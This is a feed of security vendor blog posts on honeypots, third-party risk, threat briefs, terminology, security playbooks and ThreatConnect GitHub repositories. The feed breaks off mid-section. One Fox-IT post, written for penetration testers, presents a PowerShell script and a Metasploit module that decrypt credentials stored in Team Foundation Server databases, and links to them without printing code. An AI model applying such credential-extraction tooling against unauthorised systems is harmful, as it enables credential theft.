Category Archives: Blog

Protection via Deception: How Honeypots Confuse – and Defeat – Hackers

To tweak a traditional saying, you can do a better job catching flies with honey than vinegar.

In this case, I’m talking about the “honeypot,” set up to catch the hacker “fly.” To summarize and elaborate upon various definitions over the years, honeypots are computer systems that lure attackers by simulating real systems within a network. The systems appear to be authentic, but the data and additional cyber resources within bear little-to-no actual value to the organization behind the effort. In many instances, the honeypot entirely fabricates email accounts, ports, or even an “active” website. In others, contained data is authentic, but it’s relatively inconsequential information that the organization is willing to “give up” to the adversary.

Various incarnations of the concept have been around since the mid-1980s. Then, cybersecurity legend Fred Cohen – who, among his many achievements, first defined the term “computer virus” – created the first publicly-available honeypot with his Deception ToolKit (DTK) in 1998. “If (DTK) increases uncertainty for the attackers, it can do a lot to reduce attacks – both inside and outside,” Cohen wrote in an FAQ about his toolkit. “DTK does not have to fool all the people all the time. It is doing great if it fools some of the people some of the time and scares some of the people some of the time.” (Not surprisingly, Cohen is fond of the Sun Tzu quote, “All warfare is based on deception.”)

Despite its established history and fascinating capacity for discovery, enterprises have been slow to adopt honeypots. According to a SANS survey, less than one-quarter deploy them in their networks today. Yet, of those that have honeypots deployed, 45 percent have triggered at least 10 honeypot-enabled events within the last year, and 38 percent have done so more than 15 times during the same period. And there’s building promise for increased deployments as the global deception technology market is expected to grow to $2.09 billion by 2021, up from $1.04 billion in 2016, according to a forecast from MarketsandMarkets.

For the projected spike in adoption to take hold, chief information security officers (CISOs) and their teams will need to overcome the following challenges:

  • Scale. If your goal is to create an illusion that overwhelms attackers with numbers, it requires the fabrication of perhaps 100 hosts – all of which the cybersecurity team must manage. This requires significant commitment from the team.
  • Authenticity. Numbers alone aren’t enough; the honeypot system needs to look and “feel” real to attackers or they won’t take the bait. Cybersecurity professionals must do this manually, as there are currently no automated solutions that do this for them. A non-active honeypot – like a port – doesn’t involve an extensive effort. But a more ambitious invention – like a fully-functioning, but fake, website with working apps – demands considerable planning, delivery, and oversight. In addition, everything must be updated periodically, again, in the interest of realism and relevancy. When the previously mentioned scale and manual processes are taken into account, all of this can require a significant amount of time and effort.

Once these challenges are addressed, organizations can benefit on multiple levels:

  • Threat Trend Analysis. CISOs and their teams get a front-row seat to what hackers are after and the tools/methods they use – deploying open source or customized products, exploiting publicly disclosed vulnerabilities or unknown ones, etc. As a result, honeypots present teams with the opportunity to learn about intrusion techniques and the potential vulnerabilities of their own, actual systems.
  • Elimination of False Positives. There is no legitimate reason to enter a honeypot – anyone who interacts with one is a suspect. Thus, the honeypot triggers fewer alerts, but those alerts are of a much higher quality. That’s why it is an especially effective way to identify insider threats – because if employees snoop around outside of their authorized areas and manage to access a honeypot, it’s fair to conclude that they are up to no good.
  • Depletion of the Adversary’s Resources – and Patience. If the scale challenge is successfully addressed, then organizations “invent” dozens or even hundreds of false doors for hackers to break into. They are forced to use more of their capabilities, all while showing more of their hand. Hackers are traditionally “Davids” attempting to take down large corporations, or “Goliaths.” If you make it that much more difficult for enemies to get to their intended targets, they’ll give up and move on to victims that offer an easier path.
  • Confusing the Adversary. As Sun Tzu stated, warfare is about deception. The deception results in calculated confusion, designed to degrade the accuracy and effectiveness of an attack. Hackers can’t tell the difference between what’s real and fake because everything looks like a system they’re trying to access. To further muddle the picture, cybersecurity teams may, for example, “disguise” a Windows server as a Linux one, so the threat actors use the wrong tools, leading them to conclude (for the moment) that their job is done. In his FAQ, Cohen described this as “(attacking) the weakest link of the attackers. Their fears of being caught, their uncertainty about whether they are being detected and watched, and the bursting of their egos when they find out they have been fooled.”

At LookingGlass, we’re intrigued by deception technologies, and are immersing ourselves into developing next-generation solutions to camouflage and defend our customers’ real systems and cyber assets while exposing, confusing, and exhausting the capabilities of their adversaries. If you’d like to know more about how we are leveraging deception capabilities, contact us.

 

The post Protection via Deception: How Honeypots Confuse – and Defeat – Hackers appeared first on LookingGlass Cyber Solutions Inc..

Name That Risk: 8 Types of Third Party Risks You Should Know

There’s a lot of talk in the industry about protecting your company from third party risk, especially with the implementation of new regulations that hold organizations accountable for third party cybersecurity. While the OCC, FDIC, and the Federal Reserve all agree that vigorous due diligence and on-going third party monitoring are crucial to reducing your third party risk, it’s the wild west when it comes to agreement in practice.

Compounding this matter is the fact that the term ‘risk’ is quite broad. So broad in fact, that no two regulators categorize risk in precisely the same way. So how can organizations solve for ‘X’ risk if we have no clear definition of risk.

The key is to develop and implement a third party risk management program with processes and metrics to assess and manage risk expectations.

When starting this process, it is good to outline the categories of risk. Here are some types of risk that are good to know due to frequency of occurrence:

  • Reputational risk—Whether a third party provider deals directly with customers or offers a service that can indirectly impact customers, it’s your reputation on the line if the third party drops the ball.
  • Operational risk—When a third party provider is integrated into internal processes, such as through the use of a cloud-based, customer relationship management solution, it increases operational complexity and risk.
  • Transactional risk—From insufficient capacity that prevents transactions from being completed to security lapses that lead to unauthorized access and misuse of data, transaction risk is one of the most commonly encountered—and highly publicized— risks a financial institute faces.
  • Credit risk—While credit risk is most frequently considered in terms of a third party’s own financial condition, credit risk also stems from the use of third parties for loan origination, underwriting, or business solicitation.
  • Compliance risk—As more laws, rules, and regulations are put into place to protect consumers, the level of compliance risk also increases. Non-compliance due to lapses by a third party provider does not indemnify a financial organization against penalties.
  • Strategic risk—If a third party provider fails to meet the terms of a contract or return on investment.
  • Country risk—Whenever a financial institution engages a third-party provider based in a foreign country, it is exposed to potential economic, social and political conditions related to the provider location.
  • Legal risk—The activities of a third party provider can expose a financial institution to legal expenses and possible lawsuits.

Staying ahead of all these types of risk requires more than a scorecard. Organizations need to partner with a company that provides relevant intelligence – properly aggregated, contextualized, and correlated – to your organization. It also wouldn’t hurt to have access to an analyst who can discuss the implications and potential for multiple risks on your business.

With LookingGlass’ Third Party Risk Management solution, organizations receive a 360-degree view into your vendors’ risk profile, which establishes a baseline of risk for each of your vendors, and then offers continuous third party risk monitoring so you are prepared for any kind of third party risk.

Want to learn more about our Third Party Risk Management Solution? Contact Us.

 

The post Name That Risk: 8 Types of Third Party Risks You Should Know appeared first on LookingGlass Cyber Solutions Inc..

Weekly Threat Intelligence Brief: July 10, 2018

Threat Intelligence Briefs

This weekly brief highlights the latest threat intelligence news to provide insight into the latest threats to various industries.

Information Security Risk

“Adidas AG is the latest company to come under attack from cyber-thieves looking to steal personal information, with millions of customers potentially at risk. The athletic-wear company alerted customers about a possible data breach on its U.S. website. A preliminary investigation found the leaked data includes contact information, usernames and encrypted passwords, the company said in a statement. Adidas said it does not believe any credit card or health and fitness information was compromised. The company said it found out about the problem when “an unauthorized party” claimed to have acquired some of its consumer data. Adidas is in the process of conducting a forensic review and is alerting customers it believes could be affected.”

 –Bloomberg

Technology

“A Spain-based software-as-a-service (SaaS) company that specializes in online forms and surveys, has suffered a security breach that resulted in the data collected by its customers getting stolen. According to a notice posted on its website, Typeform identified the breach on June 27 and addressed its cause roughly half an hour later. The company says an attacker has managed to download a backup file dated May 3 from one of its servers. The compromised file stored names, email addresses and other pieces of information submitted by users through Typeform forms. Data collected after May 3, payment information, and passwords are not impacted, Typeform said. UK-based mobile banking service Monzo is one of the impacted organizations. Monzo says the breach affects roughly 20,000 individuals, a vast majority of which only had their email address exposed. However, in some cases, information such as postcode, name of the old bank, Twitter username, university, city, age and salary range, and employer was also compromised. The Tasmanian Electoral Commission was also hit by this breach. The organization notes that while some of the stolen data is already public, the attacker may have also obtained names, addresses, email addresses, and dates of birth submitted by electors when applying for an express vote at recent elections. The list of organizations that has notified customers of the Typeform breach also includes Thriva, Birdseye, HackUPC, and Ocean Protocol.”

SecurityWeek

Reputational Risk

“A Danish bank’s Estonian operations may have been used to launder as much as 53 billion kroner ($8.3 billion), according to a recent report by a Danish newspaper. That’s considerably more than the 25 billion kroner previously estimated, the newspaper said. The revised figure was based on documents from a further 20 firms that had accounts at the bank’s Estonian office between 2007 and 2015. The bank expects to release the findings of an internal investigation of the money laundering breaches by September. A Danish government official said he bank’s internal probe won’t be enough to satisfy the government, and said he was awaiting the findings of other investigations. The bank was reprimanded in May by the Financial Supervisory Authority in Copenhagen and ordered to hold an additional 5 billion kroner in regulatory capital, among other disciplinary measures.”

The Globe and Mail

Legal, Litigation, & Regulatory Risk

“Many U.K. financial firms don’t have a Plan B to fall back on if they’re hit by a cyber-attack. The Bank of England wants to change that. Financial regulators told firms to come up with a detailed plan for restoring services such as payments, lending and insurance after a disruption, and to invest in the staff and technology to make it work. The plan should include time limits on how long an outage could last. “Boards and senior management should assume that individual systems and processes that support business services will be disrupted, and increase the focus on back-up plans, responses and recovery options,” the Bank of England and the Financial Conduct Authority said. The discussion paper is part of the regulators’ effort to bolster the resilience of financial firms in response to a rising number of operational failures.”


The post Weekly Threat Intelligence Brief: July 10, 2018 appeared first on LookingGlass Cyber Solutions Inc..

Building Daily Habits to Stay Ahead of Security Fires

ThreatConnect's New OSINT Dashboard

It's a terrible cliche that so many security teams spend much of their time fighting fires. I'm not saying it's not a big problem, but I am saying that it's the responsibility of the security professional to ensure that they still make time for routine foundational activities that, over time, build up to result in fewer and fewer fires. I'm not just talking about continuing education, I'm talking about the daily habits that help you both prevent the fires and make you better at fighting them when they happen.

Building Habits

Even if it's just five minutes a day, what matters most is getting into the habits. Let me give you an example. At ThreatConnect, we've developed an "OSINT Dashboard." This dashboard is designed for a quick, five minute perusal as soon as you login to your ThreatConnect account, when you're sitting down to your daily cup of coffee (or whatever your favorite poison). It's not meant to take up a lot of time on deep dives, or be a confounding mess of tactical indicators and irrelevant intelligence. It's meant as a basic leaping-off point to keep you on top of the struggles you might encounter later in the day/week/month/hopefully-never.

The dashboard is accessible to all users of our free Cloud environment (URL) by hovering over the "Dashboard" menu and selecting "OSINT Dashboard." Let's take a look at some of what you'll find on the dashboard.

 

OSINT Tied to Named CVEs

A lot of vulnerabilities that get reported never actually show up on the wild. The point of this datatable is to give you insight into what's actually showing you up by showing top CVEs tied to real intel. In a world of triage, these are the vulnerabilities you should consider paying attention to.

 

Latest Technical Blogs & Reports

In the old days, building five minute habits meant wading through dozens of your favorite blogs (and likely going over the time limit). No more! The "Technical Blogs & Reports" source in ThreatConnect is a curated, machine- and human-readable collection of more than a hundred blogs and reports from leading security companies, intel providers, academia, and armchair enthusiasts. Rather than needing to check through everything, this dashboard card compiles all of that information into the latest and greatest.

 

Latest Intel

Sometimes five minute habits can result in deeper dives, and that's okay. If something piques your interest, you should have the option of learning more. This card shows how many pieces of intel have come in in the past week, and by clicking on any item you can find out more. Want the latest Adversary intel? Click Adversary. Want to learn about the latest Campaigns? Click Campaign!

A Starting Point

These are just a sampling of the information available on the dashboard. Since it's free, I'd encourage you to check it out for yourself and consider incorporating it into part of your daily routine.

Ultimately, the habits you build need to make sense to you. They need to be relevant. For our TC ManageTM, TC AnalyzeTM, and TC CompleteTM customers, you can actually create your own habit-forming dashboards. For example, if your "morning cup of coffee" routine includes reading about the latest threats from China, you can create a dashboard with that in mind. If your daily routine involves your favorite malware family, you can do that, too.

The post Building Daily Habits to Stay Ahead of Security Fires appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Cyber is Cyber is Cyber

If you’re in the business of safeguarding data and the systems that process it, what do you call your profession? Are you in cybersecurity? Information security? Computer security, perhaps? The words we use, and the way in which the meaning we assign to them evolves, reflects the reality behind our language. If we examine the factors that influence our desire to use one security title over the other, we’ll better understand the nature of the industry and its driving forces.

Until recently, I’ve had no doubts about describing my calling as an information security professional. Yet, the term cybersecurity is growing in popularity. This might be because the industry continues to embrace the lexicon used in government and military circles, where cyber reigns supreme. Moreover, this is due to the familiarity with the word cyber among non-experts.

When I asked on Twitter about people’s opinions on these terms, I received several responses, including the following:

  • Danny Akacki was surprised to discover, after some research, that the origin of cyber goes deeper than the marketing buzzword that many industry professionals believe it to be.
  • Paul Melson and Loren Dealy Mahler viewed cybersecurity as a subset of information security. Loren suggested that cyber focuses on technology, while Paul considered cyber as a set of practices related to interfacing with adversaries.
  • Maggie O’Reilly mentioned Gartner’s model that, in contrast, used cybersecurity as the overarching discipline that encompasses information security and other components.
  • Rik Ferguson also advocated for cybersecurity over information security, viewing cyber as a term that encompasses muliple components: people, systems, as well as information.
  • Jessica Barker explained that “people outside of our industry relate more to cyber,” proposing that if we want them to engage with us, “we would benefit from embracing the term.”

In line with Danny’s initial negative reaction to the word cyber, I’ve perceived cybersecurity as a term associated with heavy-handed marketing practices. Also, like Paul, Loren, Maggie and Rik, I have a sense that cybersecurity and information security are interrelated and somehow overlap. Jessica’s point regarding laypersons relating to cyber piqued my interest and, ultimately, changed my opinion of this term.

There is a way to dig into cybersecurity and information security to define them as distinct terms. For instance, NIST defines cybersecurity as:

“Prevention of damage to, protection of, and restoration of computers, electronic communications systems, electronic communications services, wire communication, and electronic communication, including information contained therein, to ensure its availability, integrity, authentication, confidentiality, and nonrepudiation.”

Compare that description to NIST’s definition of information security:

“The protection of information and information systems from unauthorized access, use, disclosure, disruption, modification, or destruction in order to provide confidentiality, integrity, and availability.”

From NIST’s perspective, cybersecurity is about safeguarding electronic communications, while information security is about protecting information in all forms. This implies that, at least according to NIST, information security is a subset of cybersecurity. While this nuance might be important in some contexts, such as regulations, the distinction probably won’t remain relevant for long, because of the points Jessica Barker raised.

Jessica’s insightful post on the topic highlights the need for security professionals to use language that our non-specialist stakeholders and people at large understand. She outlines a brief history that lends credence to the word cyber. She also explains that while most practitioners seem to prefer information security, this term is least understood by the public, where cybersecurity is much more popular. She explains that:

“The media have embraced cyber. The board has embraced cyber. The public have embraced cyber. Far from being meaningless, it resonates far more effectively than ‘information’ or ‘data’. So, for me, the use of cyber comes down to one question: what is our goal? If our goal is to engage with and educate as broad a range of people as possible, using ‘cyber’ will help us do that. A bridge has been built, and I suggest we use it.”

Technology and the role it plays in our lives continues to change. Our language evolves with it. I’m convinced that the distinction between cybersecurity and information security will soon become purely academic and ultimately irrelevant even among industry insiders. If the world has embraced cyber, security professionals will end up doing so as well. While I’m unlikely to wean myself off information security right away, I’m starting to gradually transition toward cybersecurity.

Communicating About Cybersecurity in Plain English

When cybersecurity professionals communicate with regular, non-technical people about IT and security, they often use language that virtually guarantees that the message will be ignored or misunderstood. This is often a problem for information security and privacy policies, which are written by subject-matter experts for people who lack the expertise. If you’re creating security documents, take extra care to avoid jargon, wordiness and other issues that plague technical texts.

To strengthen your ability to communicate geeky concepts in plain English, consider the following exercise: Take a boring paragraph from a security assessment report or an information security policy and translate it into a sentence that’s no longer than 15 words without using industry terminology. I’m not suggesting that the resulting statement should replace the original text; instead, I suspect this exercise will train you to write more plainly and succinctly.

For example, I extracted and slightly modified a few paragraphs from the Princeton University Information Security Policy, just so that I could experiment with some public document written in legalese. I then attempted to relay the idea behind each paragraph in the form of a 3-line haiku (5-7-5 syllables per line):

This Policy applies to all Company employees, contractors and other entities acting on behalf of Company. This policy also applies to other individuals and entities granted use of Company information, including, but not limited to, contractors, temporary employees, and volunteers.

If you can read this,
you must follow the rules that
are explained below.

When disclosing Confidential information, the proposed recipient must agree (i) to take appropriate measures to safeguard the confidentiality of the information; (ii) not to disclose the information to any other party for any purpose absent the Company’s prior written consent.

Don’t share without a
contract any information
that’s confidential.

All entities granted use of Company Information are expected to: (i) understand the information classification levels defined in the Information Security Policy; (ii) access information only as needed to meet legitimate business needs.

Know your duties for
safeguarding company info.
Use it properly.

By challenging yourself to shorten a complex concept into a single sentence, you motivate yourself to determine the most important aspect of the text, so you can better communicate it to others. This approach might be especially useful for fine-tuning executive summaries, which often warrant careful attention and wordsmithing. This is just one of the ways in which you can improve your writing skills with deliberate practice.

Playbook Fridays: Conducting VMRay Malware Analysis

Save time with a one-click process

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

An automated malware analysis system (AMA) is a requirement in any defender's repertoire. Any time that can be saved during an analyst's process performing what amounts to menial labor can be spent on actual analysis and proactively defending an organization.

This Playbook takes a suspicious or malicious file sample from ThreatConnect's Malware Vault and transmits it to an automated malware analysis system, in this case, VMRay, submitting it for dynamic and static analysis. It turns a manual, multiple-click process into a simple, one-click process, saving a small amount of time, which really adds up over the course of weeks and months.

The Playbook is triggered by a User Action. In this case, the run playbook button is mapped to Documents in ThreatConnect. This generates a button on the Document's details page called "VMRay Analyze".

The Playbook downloads the malware sample and copies the archive password stored in an attribute of the Document. These two, as well as any configuration settings, are submitted to VMRay's REST API. The Playbook checks whether either of two TLPs are marking the sample: TLP:RED or TLP:AMBER. If they are present, the sample is only analyzed by VMRay, it is not additionally checked with third party scanners. Finally, the Playbook checks for errors and returns a nice tooltip with a link to the analysis report in VMRay's portal.

 

Entire-VMRay-Submission-Playbook

Entire VMRay Submission Playbook

 

 

New-Playbook-Return-on-Investment-Calculator

New Playbook Return on Investment Calculator

 

 

In the latest release of ThreatConnect, Playbooks now have a Return on Investment (ROI) calculator. By estimating the time saved by running a playbook compared with the time wasted by an analyst performing the process manually, one is able to calculate roughly how much money a playbook is saving a team over time.

 

The following are a few highlights from certain steps in the Playbook:

Set-Variable-App-First-In-the-Sequence-of-the-Playbook

 

A set variable app is first in the sequence of the playbook. This allows the user to set various options used during submission to VMRay.

Implementation-of-JMESPath

This step uses an implementation of JMESPath to check if the sample in the ThreatConnect Malware Vault has been marked with a security label. In this case, it is checking for TLP:AMBER and TLP:RED, two designations that are part of the traffic light protocol, a system for governing how data may be shared and with whom. In this case, data that is marked with either of these two restrictive TLPs will be sent only to VMRay and not to any third party system.

ThreatConnect-Data-Store-to-Save-the-API-Response-from-VMRay

This step leverages ThreatConnect's data store to save the API response from VMRay. As you can see, this uses the "Organization" domain of the data store. This allows other playbooks running in one's org in ThreatConnect access to the data that this playbook writes there. Any further operations can then be built out in other playbooks based on the saved data.

VMRay-Analyze-User-Action

The trigger for this playbook is a User Action. This provides a button on the malware vault document that runs the playbook in the context of that Document. After the sample has been submitted for analysis to VMRay, a link back to the report in VMRay's portal is displayed to the user as a tooltip that appears above the button once it has been clicked. If for some reason the analysis failed at the time of submission, the error message is displayed in the same tooltip for the user to view.

The post Playbook Fridays: Conducting VMRay Malware Analysis appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Playbook Fridays: How to Use ThreatConnect Playbooks to Manage Security APIs

Planning for APIs as part of your security architecture

This is my first Playbook Friday blog post. I love the ones that the team creates and thought I would try my hand at one. That said, because I am not in the Platform as much as I'd like to be, I enlisted the help of one of our Sales Engineers. (Thanks for your help Ryan!)  

In my last blog post, I spoke to the challenge of API's not existing when we were getting started and how we had to wait out the market. API's are now available across the security industry, which is very good news. The problem now is that the number of API's used by security professionals and overhead of managing them is creating a new challenge within the security team.    

Many organizations have multiple tools, and analysts using the same product's API's.  In some cases they have their own unique subscriptions, each user or connected tool having its own API account, or are sharing an enterprise subscription. Either way, every person and every connected tool may make use of the same API. For example, the SIEM enriches some data with a connection to a malware intelligence service (e.g. Hybrid Analysis, ReversingLabs, VirusTotal, etc) , then sends an alert to the IR platform which does the same lookups in the malware service, which then calls out to a Threat Intel Analytics and Orchestration platform and asks the same exact question. So, best case scenario is that you had 3 calls to the malware service service from 3 tools per interesting event in the SIEM. This is inefficient, wastes time, and introduces more potential points of failure.

Now remember, this one use-case is not the only use-case leveraging the API. Generally there will be people who run custom scripts, other tools outside of the ones above, or people that have been given the API keys and you don't even know about that will employ the API. In other words, a single API may be used hundreds or thousands of times a day, depending on the use-cases and number of people and tools that have the key.

API Management

This is why API management became important in IT years ago with the success of Service Oriented Architecture (SOA).  For those of you that have never heard of SOA or want to learn more, please take a look at http://serviceorientation.com/ from Arcitura Education. It provides a great deal of information on the topic.  

In order to counter the problem stated above, and leverage principles of SOA and API management, the security organization needs to plan for API's as part of their architecture. Following principles of SOA, the service should be built to answer a specific question - Let's say "Tell me what I know about a file" and be managed as a resource that is independent of the underlying technologies and services behind it.  

Benefits of API Management within the security organization:

  • Reduce the risk of failure by reducing complexity across your API dependent systems  
  • Save resources in terms of building or configuring each of those API connections in seperate tools and processes independently
  • Through caching, conserve metered API calls for Services. In addition, conserving bandwidth and external network traffic across external service calls  
  • Decoupling internal users and systems from shared API key usage. Or you bought a service multiple times without knowing and can alleviate the expense of multiple subscriptions
  • Analytics can be performed across API's to measure their effectiveness as well as to provide insights into interesting use-cases across your enterprise

api-management-threatconnect

Now let's get a little more detailed about how we are going to fulfill the needs of the service. I'm going to assume that the customer is using ThreatConnect and has the Playbooks capability which allows them to create a ThreatConnect Playbook and Playbook Components. Although I am using ThreatConnect for all aspects of this use-case, there may be reasons to invest in a dedicated API management technology. Products like CA Technologies (formerly Layer 7 Technologies), and Apigee are well known in this area. Also, most of your large cloud providers, Amazon, Microsoft, IBM, and Oracle have some type of API management capability as part of their offerings.  

 As an example, we will build an enterprise Malware Analysis Service, integrate the API with the underlying knowledge in ThreatConnect and in CAL™ as well as a third party's malware service. Then we will add metrics collection across various aspects of the service, add a caching capability, and finally, configure a dashboard that highlights various aspects of the services usage.  

 Step 1. Create "Malware Analysis Service" using a Playbook that receives an API query with HTTP Basic Authentication and a File Indicator as input. The HTTP Basic Authentication will be used to tie requests to people and tools across the organization.

 

Basic Flow:

Step 2. Create a Playbook Component for "Retrieve File Intel" which collects knowledge across the ThreatConnect Platform as well as calls another Playbook Component that queries external services. The combined set of data is returned as JSON to the Malware Analysis Service Playbook.   

 

retrieve-file-intel-threatconnect

Basic Flow:

  • Receive username and file indicator as input
  • Increment File Observation
  • Run File Analysis Playbook Component
  • Get all Intel from within ThreatConnect and CAL about file indicator
  • Merge File Analysis response and all other intel collected and return JSON result to Malware Analysis Service Playbook

Metrics:

  • Daily Executions - Total and By User
  • Daily Executions - File Found
  • Daily Executions - File Not Found

 

Step 3. Create a Playbook Component for "Retrieve File Report" which collects knowledge from one or more external services and returns to the Malware Analysis Service Playbook. Of particular interest is that this Playbook calls a caching component that returns the previous result if the cache is less than 30 days old.

 

retreive-file-report-threatconnect

Basic Flow:

  • Receive username and file indicator as input
  • Determine if file indicator is in cache (<30 days)
  • If no cache hit then send query to file analysis and enrichment service and update ThreatConnect database and cache
  • Return JSON response

Metrics:

  • Daily Executions - Total
  • Daily Executions - Cached
  • Daily Executions - File Not Found
  • Daily Executions - File Found

 

Step 4. Create Playbook Components for "Set Data Cache" and "Read Data Cache". Both Components will be built using the ThreatConnect DataStore capability which supports CRUD (Create, Read, Update, Delete) operations to the ThreatConnect DataStore.  

set-data-cache-threatconnect

 

Basic Flow:

  • Receive file indicator as input
  • If exists in cache, get data and timestamp out of DataStore. Otherwise return null.
  • Call Get Delta Epoch Component with cache max age  as the delta. This will return the maximum age as an epoch.
  • If Get Delta Epoch result is less than cache timestamp, data is still valid

Otherwise data is stale, return null. 

 

basic-flow-threatconnectBasic Flow:

  • Receive JSON object of file indicator as input
  • Does the data exist in the cache
  • If exists delete it, and then set it with received data and current epoch timestamp.
  • Doesn't exist, then set it with received data and current epoch timestamp.

Step 5. Now that the capabilities of the service are dealt with, and API calls are being received from users, we can move to creating a dashboard to better monitor the services usage.

 

malware-analysis-service-dashboard-threatconnect

Above is a screen capture of a dashboard that allows us to quickly see how the Malware Analysis Service is being leveraged (Top left) and how the external enrichment services are being utilized as part of the service (Top Right). On the bottom left you can see who is using the Malware Analysis Service and which are heavy users. On the bottom right are the list of the most highly observed file indicators.

Looking at the top right dashboard card, and the red line specifically, you can see how effective your cache is relative to the services' overall queries. As I said in the beginning, external services are often rate limited, or charged per query, so it is a good idea to measure the cache effectiveness and see how you can tweak it for better performance. This, coupled with an understanding of the per query cost savings, can be presented as one component of value-add from the service.  

On June 5th at 10:30am, Ron Richie and Pat Opet from J.P. Morgan Chase & Co., and I are presenting at the Gartner Security and Risk Summit in the Potomac B, Ballroom Level. Our presentation is titled "Architecting For Speed: Building a Modern Cyber-Service-Oriented Architecture" and will describe a modern service-enabled stack, positioned for critical security decisions at speed.

If you like what you see here, check out the Playbooks and components repository here in GitHub.

The post Playbook Fridays: How to Use ThreatConnect Playbooks to Manage Security APIs appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Introducing Team Foundation Server decryption tool

During penetration tests we sometimes encounter servers running software that use sensitive information as part of the underlying process, such as Microsoft’s Team Foundation Server (TFS). TFS can be used for developing code, version control and automatic deployment to target systems. This blogpost provides two tools to decrypt sensitive information that is stored in the TFS database.

Decrypting TFS secrets

Within Team Foundation Server (TFS), it is possible to automate the build, testing and deployment of new releases. With the use of variables it is possible to create a generic deployment process once and customize it per environment.1 Sometimes specific tasks need a set of credentials or other sensitive information and therefor TFS supports encrypted variables. With an encrypted variable the contents of the variables is encrypted in the database and not visible for the user of TFS.

TFS_Variable

However, with the correct amount of access rights to the database it is possible to decrypt the encrypted content. Sebastian Solnica wrote a blogpost about this, which can be read on the following link: https://lowleveldesign.org/2017/07/04/decrypting-tfs-secret-variables/

Fox-IT wrote a PowerShell script that uses the information mentioned in the blogpost. While the blogpost mainly focused on the decryption technique, the PowerShell script is built with usability in mind. The script will query all needed values and display the decrypted values. An example can be seen in the following screenshot:

tfs_decrypted

The script can be downloaded from Fox-IT’s Github repository: https://github.com/fox-it/Decrypt-TFSSecretVariables

It is also possible to use the script in Metasploit. Fox-IT wrote a post module that can be used through a meterpreter session. The result of the script can be seen in the screenshot below.

msf_tfs

There is a pull request pending and hopefully the module will be part of the Metasploit Framework soon. The pull request can be found here: https://github.com/rapid7/metasploit-framework/pull/9930

References

[1] https://docs.microsoft.com/en-us/vsts/build-release/concepts/definitions/release/variables?view=vsts&tabs=batch
[2] https://lowleveldesign.org/2017/07/04/decrypting-tfs-secret-variables

ThreatConnect and the Rise of the Security Developer

Taking Your Team & Career to the Next Level with ThreatConnect's GitHub Repositories

Going to the Next Level with ThreatConnect's GitHub Repositories

When I walk the show floors at RSA or Black Hat, I'm always struck by the number of new products that pop up every year. The "hot topic" varies - this year it was AI - but new booths springing up from the expo center carpet like magic is a constant. It can be a bit overwhelming: like showing up at a bar with an outrageously huge beer selection. But it can also be exciting, like (responsibly) trying all of those beers.

threatconnect-github-repositories

Yep, this is what Black Hat is like. In so, so many ways.

 

We get it. There's finally a hot new EDR or UEBA tool that does everything that you want, but you're nervous: will it work in your environment? Can your existing tools talk to it? Will your team understand how to use it? At ThreatConnect, our vision is to ensure that your answer is consistently "yes": if you're excited about new software, you should be able to integrate it into your team, your processes, and your tech stack. We've written at length about our platform strategy, but that "yes" is what it really comes down to.

The Rise of the Security Developer

One trend that makes this strategy possible is the rise of the Security Developer - security analysts who are dangerous enough with Python to take advantage of all of these new tools. If you're able to get that new EDR or UEBA or AMA or vulnerability scanner to work with your existing SIEM, ticketing system, whatever... you'll be a hero. Honing your skills with Python (or other security-friendly scripting language) and becoming familiar with APIs are big parts of becoming a Security Developer. To really take advantage of those skills, though, you need a "partner in crime": an extensible security platform that can bring all those APIs and exciting tools into a central location where all of your data and teammates can take advantage. Like ThreatConnect.

To enable new and mature Security Developers, we've created robust SDKs that can help you write apps, build automations, and more. A great place to get started is in our documentation.

 

github-repos-threatconnect

Dogs are the best.

No One is an Island

Our Security Developer customers make extensive use of these tools in their own ThreatConnect environments: integrating systems, automating common tasks, and flexing their developer muscles. But part of growing as a Security Developer is collaborating with other Security Developers.

We provide an exclusive Slack workspace¹ for our customers to exchange best practices about threat intelligence, security, and ThreatConnect. One day, something exciting happened: customers started sharing ThreatConnect software they'd built on Slack. This was amazing! Security Developers were collaborating!

Of course, while we love Slack, it's not the best tool for sharing software.

To more effectively enable our Security Developer users, we're excited to announce the launch of four GitHub repositories (repos) that they can use to share and collaborate. Our hope is that these repos not only help our users share successes and get more value out of ThreatConnect, but also help them hone their skills and make themselves and their teams more effective defenders.

_______________________

¹ If you're a current customer and are interested in joining our Slack community, please contact your
customer success manager.

Announcing: ThreatConnect GitHub Repositories

To more effectively enable our Security Developer users, we're excited to announce the launch of four GitHub repositories (repos) that they can use to share and collaborate. Our hope is that these repos not only help our users share successes and get more value out of ThreatConnect, but also help them hone their skills and make themselves and their teams more effective defenders.

 

threatconnect-github

This is more like it.

 

Let's go over the four repositories:

Spaces Repository

Available here: https://GitHub.com/ThreatConnect-Inc/threatconnect-spaces

"Spaces" are applications that run in the ThreatConnect UI. Using Spaces, you can extend the abilities of ThreatConnect in a way that benefits other analysts. Enrich indicators in VirusTotal or DomainTools, visualize relationships between intelligence, do some quick static analysis: these are all tools that users have built using Spaces that run smartly in ThreatConnect.

Jobs Repository

Available here: https://GitHub.com/ThreatConnect-Inc/threatconnect-jobs

"Jobs" are apps that run in the background: collecting data from external feeds, enriching indicators in bulk, deploying indicators to a SIEM based on rules, etc.

Tools Repository

Available here: https://GitHub.com/ThreatConnect-Inc/threatconnect-tools

Unlike the other repos, this one is intended for software that doesn't run in ThreatConnect, but instead is designed to enable developers in other ways. A tool to make it easier to developer other ThreatConnect apps, a Chrome extension, etc.

Playbooks Repository

Available here: https://github.com/ThreatConnect-Inc/threatconnect-playbooks

Playbooks are custom, intelligence-driven automated or partially automated processes that users can build in ThreatConnect. The Playbooks Repository allows users to collaborate on a variety of Playbooks resources: one of these is obviously Playbooks themselves, but the two most important are Components and Apps.

Integrations between security products today are more and more commonplace, but they are largely point solutions. It's nearly impossible for them on their own to incorporate logic based on what your team is doing or what all other products across your security technology stack are seeing. Furthermore, these integrations often lack some desired functionality that is unique to your needs. That's part of why your role as a Security Developer is so valuable: you can tune integrations to your needs and automate the processes that make them and your teams work together. What makes your job easier isn't a silver bullet, it's having the right building blocks. Components and Playbook Apps are those building blocks.

Playbook Components

